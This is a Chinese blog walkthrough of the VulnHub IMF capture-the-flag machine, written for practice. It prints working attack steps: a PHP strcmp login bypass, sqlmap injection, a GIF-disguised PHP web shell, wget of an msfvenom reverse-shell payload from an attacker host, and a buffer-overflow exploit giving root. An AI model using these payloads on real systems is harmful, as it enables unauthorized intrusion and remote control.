渗透测试
推荐一个渗透测试实战平台
2019-04-09 10:47

18年毕业,目前某安全公司PM搬砖,但依然钟情于渗透,希望能通过学习不断提高自己的技术。因为一开始研究的是渗透,但还是太菜。大佬师傅当小说看就好。

目前实战操作来源vunlhub及handthebox,均须爬楼,我是自己搭的楼梯。Guge和油管以及推特都是很好的平台,油管上太多牛逼的人。。。

CTF也会偶尔看,如果有师傅带着玩和打比赛,愿意跟着搬砖打杂。。

靶机下载地址:https://download.vulnhub.com/imf/IMF.ova

主要知识点:常规的CTF找flag、制作图片木马、溢出漏洞、提权。

靶机下载后vmware打开,Kalior parrot(UI很棒,工具很全)

同一内网arp-scan–l、Netdiscover、Nmap都可以扫描到靶机地址。。但实际内网渗透,肯定没这么简单。

Nmap-sV -p 1-10000 ip

Nmap-A -v -T4 ip

Nmap后面的参数可以有很多,也可以接脚本,用法太多了。

实战应该用不到-A,一般以-sS,半扫描方式,不会轻易被发现,但靶机可以随便搞。

Nmap扫描只有80端口apache

1.jpg

然后可以进行跑目录,看有没有敏感的目录,比如上传点,比如后台登陆。

网站需要进行简单信息收集,但靶机并没有那么多信息可以用,所以浏览网站,某些页面可能会有框架信息,cms信息,然后可以去查漏洞。

网页如果有留言、搜索框,也会想到xss,sql注入等,靶机一般都会提示。

比如conctacus 下面可以看到联系人,可能就是有价值的用户名。

如果网站有留言有信息,也可以进行社工创造字典,用crew和john配合用户名爆破等等。

跑目录可以用dirbuster,gobuster,也可以用脚本工具dirsearch

2.jpg

3.jpg

 

访问contactus及源码,得到flag1:YWxsdGhlZmlsZXM=

4.jpg


Base64解码得到allthefiles

解码方式太多了,网站在线解密、工具解密或者直接命令解密:

echo'密文'|base64 -d

继续观察页面源码,其实常规CTF思路到处点 看F12和看看源码。。

发现js文件有些端倪

5.jpg

拼接前缀得到base64解码

echo'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' |base64 -dflag2{aW1mYWRtaW5pc3RyYXRvcg==}

再次解码得到:Flag3:{Imfadministrator}

 

并不知道是什么。。。试了一会,发现可以访问http://ip/imfadministrator/之前跑目录是没有的,出现登陆页面

6.png

 

第一反应是爆破,第二反应是注入手工orsqlmap,可惜搞不出来。

之前contactus页面里有用户名,三个其中之一,我用的Rmichaels

然后又查看源码后,发现提示

7.png

估计是使用strcmp之类的来判断密码的。当strcmp的两个字符串参数相等的时候会返回0,但如果把string和array相比较的话,strcmp也会返回0。

PHP会将此字段解释为数组,而不是字符串。这有时可能会混淆验证甚至字符串检查,如果其中一个输入是数组,strcmp则会返回NULL。

8.jpg

 

F12修改,将源码里的<inputname="pass" value="" type="password">修改成<inputname="pass[]" value=""type="password">,使pass参数变成array数组。用户名用之前页面里的Rmichaels,密码任意。登陆提交后发现flag3,base64解码后得到提示:continueTOcms,点击cms如下:

9.png

Cms页面链接点啊点,没用,源码也没有提示信息,只能看url

php?pagname=

试了试1’和../../../../../../../etc/passwd

0.png

有错误回显,貌似有注入点,本人比较菜,放弃手工

11.jpg

复制cookie信息然后使用sqlmap测试,

Sqlmap-u “http://ip/”--cookie=”” --dump –batch

Sqlmap-hh 可以看参数,如果post注入,需要body信息,确定是-rtxt 还是–data=“name=value”,这里是get注入。

12.jpg

13.jpg

有东西,可以看到库名admin,表名pages被爆了出来。只有tutorials-incomplete不曾出现在cms里,访问发现一张带有二维码的图片,可以用下面网站解码https://zxing.org/w/decode.jspx或者直接微信扫一扫。。。

14.png

获得flag4{dXBsb2Fkcjk0Mi5waHA=},解码后得到提示:uploadr942.php

Php文件名称,很兴奋。访问/imfadministrator/uploadr942.php就更开心了,得到上传点:

15.png


接下来的思维,就太多了,上传的姿势太多了,基本是上传马,连接,得shell,提权。

小马拉大马,得shell,或者数据库提权等。

上传的要点是上传的文件路径,文件名,有的可以写进日志里。回归正题。尝试上传php,挡掉,发现图片格式可以,制作图片木马。Jpg上传,发现,上传成功后,看源码有生成的文件名,当然真实的不可能暴漏出来,那太傻了,但这种随机生成文件名的方法,是防御的方式之一。

echo'FFD8FFEo' | xxd -r -p > test.jpg

echo'<?php phpinfo();  ?>' >> test.jpg

跑目录可得/uploads路径

Curl-v “http://ip/imfadministrator/uploads/文件名.jpg

(Curl是很机灵的工具。。嗯也很实用的。。)发现没有反应,再传gif发现就可以执行,于是写出如下再上传:

echo'FFD8FFEo' | xxd -r -p > test.gif

echo'<?php echo `id`; ?>' >> test.gif再然后

echo‘FFD8FFEo’| xxd -r -p >text.gif

echo‘<?php  $c_GET[‘c’]; echo `$c`;  ?>’>>test.gif

注意echo后是``。可以学一下php基础,类c语言,还是比较容易上手。

 16.png

17.png

c=ls可得flag5解码得agentservices,貌似是一个服务,先记下。

之所以能gif执行php应该是.htaccess文件中写入了.php.gif。

.htaccess是apache的分布式配置文件,总是被玩坏,解析漏洞如果配置错误,非常不安全。

之后就是拿shell了,Wget攻击机的多功能的php,攻击机开一个apache

Systemctlstart apache2.service

这里用到msf生成木马,并接收shell。因为可能后面要传文件,这种的得到shell,传文件一度困扰我。。。ssh连接上可以用scp

meterpreter,有download,upload。。。

msfvenom-p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf >/var/www/html/hack

在攻击机的网站目录下文件名为hack的木马并开启apache服务。

18.jpg

然后url里可以赋予c不同参数命令,将生成的木马php下到靶机,触发并反弹shell

19.png

c=wget+“http://攻击机ip/hack”

c=chmod+777+hack赋予执行权限。

c=./hack执行。

Msf里:

useexploit/multi/handler

Setpayloads linux/x86/meterpreter/reverse_tcp

Setlhsot

Run得到shell

其实这里的shell权限还是挺大,如果遇到限制的shell,如何绕过有限制shell,自行搜索。

20.jpg

 

接下来就是提权了,关于提权的姿势太多了,推荐一本书吧,《网络攻防实战研究:漏洞与提权》是18年的新书,小兵师傅的宝典。一旦得到shell,linux的话,看进程端口,翻目录,找找有用的信息。/etc/passwd,万一有权限可以替换密码,定时任务提权,脚本提权。这里用到的是缓冲区溢出,关于堆栈溢出,关于寄存器,能学到很多东西。首先Flag5 提示agent服务,也看了进程,发现有个knock进程。

21.jpg

关于knock进程:knock是一个端口敲服务器。它侦听以太网(或PPP)接口上的所有流量,寻找端口命中的特殊“敲门”序列。客户端通过将TCP(或UDP)数据包发送到服务器上的端口来进行这些端口命中。这个端口不需要打开-因为knockd在链路层级别监听,它会查看所有流量,即使它的目的地是封闭端口。当服务器检测到特定的端口命中序列时,它会运行在其配置文件中定义的命令。这可用于在防火墙中打开孔以便快速访问。

也找一下agent服务,输入 whereisagent 得到结果:agent:/usr/local/bin/agent

进入/usr/local/bin/目录发现还有一个叫access_codes的文件,打开后显示:

SYN7482,8279,9467

SYN,不知道的了解一下三次握手,tcp连接等等。

于是用nmap扫一下,再全扫一边,发现7788端口打开。真的是“knock“一下

 22.jpg

23.png

 

发现是agent程序。关于获得agent的id方法有两种,一个是Meterperterdownload下来在本地做测试;一个是shell里运行ltraceagent。

关于itrace的介绍:https://linux.die.net/man/1/ltrace

 

数据包访问AgentID是”’48093572”’,输入正确ID后出现选项:

缓冲区溢出7788端口的agent程序。

有两个工具gdb和图形化edb。关于gdb,结尾会贴另一个大佬的写的文章,入门溢出。Meterperterdownload 下来

 24.jpg

25.jpg

这里我用了kali,因为溢出部分是后来做的,换了电脑,parrot在移动过程中,没启动起来。。。测试:edb--run agent也可以运行agent,在edb内搜索

26.png2

运行agent后,输入id,先选择3.submitreport进行测试:

溢出的关键是找到溢出的地址,貌似叫,栈堆基址。使用一个名为pattern_create的方便的Kali工具,生成特殊字符,测试。

运行/usr/share/metasploit-framework/tools/exploit/pattern_create.rb-l 1024来获取1024个测试字符,然后将字符复制到agent里。pattern_offset配套使用。

/usr/share/metasploit-&shy;‐framework/tools/pattern_offset.rb-q 41366641

[*]Exact match at offset 168

发现程序在第168个字符处溢出,同时运行之后,发现程序崩溃

 27.png

猜想选择的值成功覆盖EIP

A* 168(估计是EIP的位置)

B* 4(认为是EIP)

C* 500(可以转储shell代码的EIP之后的空格)。

再生成A168+B4+C*1000的字符继续测试

python-c'print“A”* 168 +“B”* 4 +“C”* 500'

python可以在反弹shell中建立新的终端,也可以起一个简单的http服务,用处太多了。

28.jpg

(在edb内,可以搜索操作码(插件>OpCodeSearcher>操作码搜索)。在这里我们可以看到E(R)AX- > E(R)IP包含对E(RAX)的调用。)42是B的十六进制

29.jpg

MSFVenom提供-b开关。这是为了消除无用的字符。在这个例子中,删除了空字节0x00,因为它通常都会终止一个字符串。x0a是换行符,x0d是回车符,所以这两者都相当于命中返回,出现在shellcode的中间,就over了。。。

msfvenom-p linux/x86/shell_reverse_tcp LHOST=192.168.190.1 LPORT=6666 -fpython -b "\x00\x0a\x0d" > imf.py

之前的agentID被硬编码,在exp中别忘了48093572。编写exp:

 

 30.jpg

执行脚本,nc-nlvp 你设置的端口,然后执行如下,有shell回弹,root权限。

 31.png

所以最后一个标志是flag6{R2gwc3RQcm90MGMwbHM=},解码为Gh0stProt0c0ls。

关于最后的溢出,我接触的很少,也在学习,可能写的很烂,给出的exp有可能复现不了,或者提权成功,我也试了很多。。。具体的溢出入门学习可参考文章 https://www.anquanke.com/post/id/169554#h3-10

我觉得渗透的思路是很重要的,然后不会的就多搜索,多记录。以后会整理handthebox或者其他渗透靶机,随缘更新。欢迎一起学习交流。感谢阅读。

 

相关操作学习

VulnHub渗透测试实战:通过VulnHub靶机练习,获得渗透测试相关的实战经验。

注:如果学习实验合氏币不足,扫描下面二维码可领取 30 合氏币哦!

333.png


上一篇:记一次未授权的渗透测试
下一篇:没有了
版权所有 合天智汇信息技术有限公司 2013-2018 湘ICP备14001562号-6
Copyright © 2013-2018 Heetian Corporation, All rights reserved
4006-123-731